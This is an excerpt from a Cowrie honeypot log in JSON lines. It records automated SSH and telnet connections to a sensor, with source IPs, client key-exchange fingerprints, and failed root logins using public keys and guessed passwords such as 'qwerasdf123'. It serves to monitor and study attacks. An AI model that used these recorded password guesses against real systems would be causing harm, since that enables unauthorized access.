ssh-rsa with fingerprint 70:c7:c6:8a:90:6a:51:b2:2b:20:49:b5:a1:95:7d:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.287009Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:c7:c6:8a:90:6a:51:b2:2b:20:49:b5:a1:95:7d:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfqjpm1B4IsD1k56DWEI8pQGLiSh4d+hrzhWk4wZyJD+i01f96icQGGAPkuKj+EMDEkHQkq3y9YUNZ1+nWwS7juRJhg6JDAkrdCgUTvUiN8C+YYfMLeCCdRE6NDI+XHyT6phwzS3z1NdhxtjhqOgsVCUwkzojNmWkCkgN9WYB36xjip5UhlCpZ/dsmU+ovMapN7QKkKjOVWOXTknCSBFSdeamIgpysiuP3SfuJL8jD83U6ICv/PRJVvXd+tq07htVzrdNnz6PbG5T0ALOfZ5gUmiS92eJk9UCTJLF+cVpqdZZS33UJ9onhZUE69IyBQf22IdaZWsCnplTtT8SQYFItnYXVYEP/wJlUse9ClgvYDe7/RDRxPkMcUOy+TKjzk+RvgPnlPJjFu/563uSO+i1Ru8Ia1EErt45oqRHKCszpJsHMB6VrMGLjDeGxFL5bRo20P/6fPxvmhsxcWGFoLiVIt/qQb49PVz8oMDgk243ayT/Wq3Neq6uBT19axeaVeqvSBilqWpqR5r41Seqs+hF5nuC2FwqV9rASY8jwqJX17X+pOvh89jeZTeuVeXEZQ9twfA1XdRifD4jF3DpW7iTfjxaAZ+b28HEy1LqOP+CN1UGPQ3sJrlwvGKfC8wPEe3otbYBmoEYQA/yIZ/ZWflmkM/5VEjPqd2VdpW7+LUre1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.290428Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:17:97:cd:95:15:30:22:6c:dd:08:6f:e2:5f:2f:91","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKRaiXYfjh21PngpWkZyf4Im1qB1BKB47XvK8eBRRs4w","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d2:17:97:cd:95:15:30:22:6c:dd:08:6f:e2:5f:2f:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.366400Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:17:97:cd:95:15:30:22:6c:dd:08:6f:e2:5f:2f:91","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKRaiXYfjh21PngpWkZyf4Im1qB1BKB47XvK8eBRRs4w","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.370091Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:a3:1a:66:da:8e:4e:c6:6a:ad:85:d3:bf:67:1b:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOv/DQjAj166LZY+Ez/4tTTaoVD0hHtgZj+MrRMZUcTADcdciESn9QfptmCa/Kscv2qPmUSTBkt/5UJgM3aeYb5EnGlPZvbaiJleO1OkmOXtPJ0vL5r2WlHk2KQwd2cBCvXnP6pzvqIhQnjnyMyttJhmROf6nREs2JonVD991EI+itf2YU1XYt3VaP5WtdjrArieOXZ29NEL9JXpxMUq74iTKQ1owuPuxX1RHDOyyt2T/Vbp2k0gR/TENmi5ZEfIXEadO2kao+6HqX7at8nYq8FChXshUVhh23A9XUEtONUINwYIXeZXjPWAQsHm8qiKxqXb2OHa2Eku8CtQhTytVfGG15DLTDszS3UEWMBPLVU9xNtrsoKpNc8uOgcHjxdXxG5XJ/13sheokKyjZoC7GyAT0T6INcP3AIe5Bt5JD2FXIVKd9CQ0+Ai+M4UUyqc4LsGLtbKLKJup341dRtdPCra0Ki6javtuxwHc/xWY63ThWJ6iLFyCjSQ7JXFevirSSe/doEMTjxQ3dlSbL/Yy691QlG1882e5dPiE+/uvmtYoLJhxXwBCgJkUJSy1bxKkBeFigd27+OSoEHGDIxUZW//NCyGqc2ot9J/IhbE9AznqoiKiccxZ7FikStFEVVH03XWHpMDKdTx7mV8TZ44j/7mN+grm2fXCi9PLaQQVWirQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:a3:1a:66:da:8e:4e:c6:6a:ad:85:d3:bf:67:1b:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.446694Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:a3:1a:66:da:8e:4e:c6:6a:ad:85:d3:bf:67:1b:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOv/DQjAj166LZY+Ez/4tTTaoVD0hHtgZj+MrRMZUcTADcdciESn9QfptmCa/Kscv2qPmUSTBkt/5UJgM3aeYb5EnGlPZvbaiJleO1OkmOXtPJ0vL5r2WlHk2KQwd2cBCvXnP6pzvqIhQnjnyMyttJhmROf6nREs2JonVD991EI+itf2YU1XYt3VaP5WtdjrArieOXZ29NEL9JXpxMUq74iTKQ1owuPuxX1RHDOyyt2T/Vbp2k0gR/TENmi5ZEfIXEadO2kao+6HqX7at8nYq8FChXshUVhh23A9XUEtONUINwYIXeZXjPWAQsHm8qiKxqXb2OHa2Eku8CtQhTytVfGG15DLTDszS3UEWMBPLVU9xNtrsoKpNc8uOgcHjxdXxG5XJ/13sheokKyjZoC7GyAT0T6INcP3AIe5Bt5JD2FXIVKd9CQ0+Ai+M4UUyqc4LsGLtbKLKJup341dRtdPCra0Ki6javtuxwHc/xWY63ThWJ6iLFyCjSQ7JXFevirSSe/doEMTjxQ3dlSbL/Yy691QlG1882e5dPiE+/uvmtYoLJhxXwBCgJkUJSy1bxKkBeFigd27+OSoEHGDIxUZW//NCyGqc2ot9J/IhbE9AznqoiKiccxZ7FikStFEVVH03XWHpMDKdTx7mV8TZ44j/7mN+grm2fXCi9PLaQQVWirQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.450550Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:a5:d0:32:2b:c1:d6:29:92:6e:92:cf:d8:ce:e4:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG93Twz76BTYweLdN+cvHWEijP8pIsNZnpujoxSEApRzgSwDWtIKQ/8HRxd+F2j9Bglacw/A2KDvEmkQYPgCgVir16GZdGpg/papPtlLY9iZsJpb+pjhNhabkyOMn2/cVLRcEY6uOPLoPQTodJOwEKFyC8kWV9NG/J76bDHs0KyU9nej1ke2dfr1+bMD8+lBbN9btEQwsrVXFTtE+zgNGju4yN6u58DsawJSiFPOxS3iU3BDnfvqQzjuOBM3vsx17m1ZdYv+TpsT8lqkNmC9BfTWidwPUnU7+e+Eq61YVWcUYvLemvwQLBm85ugvx0RxgCPaecbIC5SruTmUO+cxWx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:a5:d0:32:2b:c1:d6:29:92:6e:92:cf:d8:ce:e4:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.526732Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:a5:d0:32:2b:c1:d6:29:92:6e:92:cf:d8:ce:e4:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG93Twz76BTYweLdN+cvHWEijP8pIsNZnpujoxSEApRzgSwDWtIKQ/8HRxd+F2j9Bglacw/A2KDvEmkQYPgCgVir16GZdGpg/papPtlLY9iZsJpb+pjhNhabkyOMn2/cVLRcEY6uOPLoPQTodJOwEKFyC8kWV9NG/J76bDHs0KyU9nej1ke2dfr1+bMD8+lBbN9btEQwsrVXFTtE+zgNGju4yN6u58DsawJSiFPOxS3iU3BDnfvqQzjuOBM3vsx17m1ZdYv+TpsT8lqkNmC9BfTWidwPUnU7+e+Eq61YVWcUYvLemvwQLBm85ugvx0RxgCPaecbIC5SruTmUO+cxWx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.530629Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:00:ab:b7:1d:8e:5d:82:21:17:16:93:ed:ba:73:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeN+xetAceTeZROhuZ1B5YpcPgIlrPraToeOX7irdDsF+Li35rjVxNYN/5a0qJZSKjcT134oN58Li7CK7FDKYPF1wFQ/u6J1mFNEjwYYwx9ga3/FjMgxUvxMIqc4ZWNhIsifZetxCLPUO56Tbup5FJupRHPfjmYaFjaAxjgRT6kMjMk/RoSs8pUbE7mrVtndF2pmnfRIahVxNdj9VxUx8jSte5FlEV5S8EfZme8FawjtL5c/Veu5k7HKFDJETHW/RrCbUDkhz1DI9EWoRyFvr6FhtvtSZpffd9C51/f3FnmoJAPKXjjaZUpfClOPqmz2a5TDN7ABioxyhUlKZsKiwQ4WXtg5hLZ7q1GGXyup8WmCz682IsW1lcsEcZ7qmGNaVVVrAGVHnqy+CmFNGbBrFc7y0qbgiZEhH50w/5P9y3jQq8o9qXnT0oTeCu0xj+YSt5Gw6IAxQjZqZgxUW4SGymU9w1WxOQF2L6P4n7ZeXXSedzckhwBKsJdI42hC4qxq75akHDOOlG7/XCOyLrj9waQ/iNG7Lk/MBgTZ2GXIULD0Gj/UNQBaNZDDHq8srKCPr4feMt0VQMva3mwlleVGkl0uatLjB7hOmCJXdtVUjCrA//lCtvTsZVeC2RdedDlAEBRYpOITA1KtMQB/YfCHnG/SSZQoGdLAVK6zZ3+7CXrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:00:ab:b7:1d:8e:5d:82:21:17:16:93:ed:ba:73:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.609245Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:00:ab:b7:1d:8e:5d:82:21:17:16:93:ed:ba:73:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeN+xetAceTeZROhuZ1B5YpcPgIlrPraToeOX7irdDsF+Li35rjVxNYN/5a0qJZSKjcT134oN58Li7CK7FDKYPF1wFQ/u6J1mFNEjwYYwx9ga3/FjMgxUvxMIqc4ZWNhIsifZetxCLPUO56Tbup5FJupRHPfjmYaFjaAxjgRT6kMjMk/RoSs8pUbE7mrVtndF2pmnfRIahVxNdj9VxUx8jSte5FlEV5S8EfZme8FawjtL5c/Veu5k7HKFDJETHW/RrCbUDkhz1DI9EWoRyFvr6FhtvtSZpffd9C51/f3FnmoJAPKXjjaZUpfClOPqmz2a5TDN7ABioxyhUlKZsKiwQ4WXtg5hLZ7q1GGXyup8WmCz682IsW1lcsEcZ7qmGNaVVVrAGVHnqy+CmFNGbBrFc7y0qbgiZEhH50w/5P9y3jQq8o9qXnT0oTeCu0xj+YSt5Gw6IAxQjZqZgxUW4SGymU9w1WxOQF2L6P4n7ZeXXSedzckhwBKsJdI42hC4qxq75akHDOOlG7/XCOyLrj9waQ/iNG7Lk/MBgTZ2GXIULD0Gj/UNQBaNZDDHq8srKCPr4feMt0VQMva3mwlleVGkl0uatLjB7hOmCJXdtVUjCrA//lCtvTsZVeC2RdedDlAEBRYpOITA1KtMQB/YfCHnG/SSZQoGdLAVK6zZ3+7CXrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.612904Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.688786Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.10289120674133,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:53.724099Z","src_ip":"135.148.14.151","session":"d04a26cb781f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41738,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d7fcf737339","protocol":"telnet","message":"New connection: 135.148.14.151:41738 (159.203.135.109:23) [session: 6d7fcf737339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:03.556397Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.30.167","src_port":39248,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3314ca6d0a5","protocol":"telnet","message":"New connection: 132.148.30.167:39248 (159.203.135.109:23) [session: a3314ca6d0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:05.113245Z"}
{"eventid":"cowrie.session.closed","duration":35.25529646873474,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:20.237622Z","src_ip":"135.148.14.151","session":"f33dcff4db1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52760,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c27bc2a7fd","protocol":"telnet","message":"New connection: 135.148.14.151:52760 (159.203.135.109:23) [session: 56c27bc2a7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:33.114688Z"}
{"eventid":"cowrie.session.closed","duration":31.44052267074585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:36.553634Z","src_ip":"132.148.30.167","session":"a3314ca6d0a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.98263382911682,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:39.538895Z","src_ip":"135.148.14.151","session":"6d7fcf737339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43716,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb0859e2bc6","protocol":"ssh","message":"New connection: 103.153.68.219:43716 (10.17.0.5:22) [session: 9eb0859e2bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:57.214276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:57.225318Z","src_ip":"103.153.68.219","session":"9eb0859e2bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:57.476073Z","src_ip":"103.153.68.219","session":"9eb0859e2bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12121989","message":"login attempt [root/12121989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:58.230089Z","src_ip":"103.153.68.219","session":"9eb0859e2bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:55:59.484254Z","src_ip":"103.153.68.219","session":"9eb0859e2bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.10308766365051,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:56:08.217663Z","src_ip":"135.148.14.151","session":"56c27bc2a7fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46436,"dst_ip":"159.203.135.109","dst_port":23,"session":"e502ea0ee304","protocol":"telnet","message":"New connection: 135.148.14.151:46436 (159.203.135.109:23) [session: e502ea0ee304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:56:21.365331Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":46722,"dst_ip":"10.17.0.5","dst_port":23,"session":"0111dbc52b41","protocol":"telnet","message":"New connection: 180.235.129.180:46722 (10.17.0.5:23) [session: 0111dbc52b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:56:37.598935Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":7432,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ed6e65858ec","protocol":"ssh","message":"New connection: 38.93.206.2:7432 (10.17.0.5:22) [session: 7ed6e65858ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:56:50.343157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:56:50.348397Z","src_ip":"38.93.206.2","session":"7ed6e65858ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:56:50.403652Z","src_ip":"38.93.206.2","session":"7ed6e65858ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"number","message":"login attempt [root/number] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:56:50.560111Z","src_ip":"38.93.206.2","session":"7ed6e65858ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:56:51.614453Z","src_ip":"38.93.206.2","session":"7ed6e65858ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.137322664260864,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:56:57.736078Z","src_ip":"180.235.129.180","session":"0111dbc52b41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.59086322784424,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:56:58.956102Z","src_ip":"135.148.14.151","session":"e502ea0ee304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52526,"dst_ip":"159.203.135.109","dst_port":22,"session":"19f5b0620da2","protocol":"ssh","message":"New connection: 87.251.79.125:52526 (159.203.135.109:22) [session: 19f5b0620da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:57:01.606358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:57:01.613264Z","src_ip":"87.251.79.125","session":"19f5b0620da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:57:01.689364Z","src_ip":"87.251.79.125","session":"19f5b0620da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerasdf123","message":"login attempt [root/qwerasdf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:57:01.917968Z","src_ip":"87.251.79.125","session":"19f5b0620da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:57:02.994431Z","src_ip":"87.251.79.125","session":"19f5b0620da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39330,"dst_ip":"159.203.135.109","dst_port":23,"session":"97c7ba09b692","protocol":"telnet","message":"New connection: 135.148.14.151:39330 (159.203.135.109:23) [session: 97c7ba09b692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:57:04.445704Z"}
{"eventid":"cowrie.session.closed","duration":37.24753737449646,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:57:41.693093Z","src_ip":"135.148.14.151","session":"97c7ba09b692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53682,"dst_ip":"159.203.135.109","dst_port":23,"session":"19013eb4c15e","protocol":"telnet","message":"New connection: 135.148.14.151:53682 (159.203.135.109:23) [session: 19013eb4c15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:58:35.370859Z"}
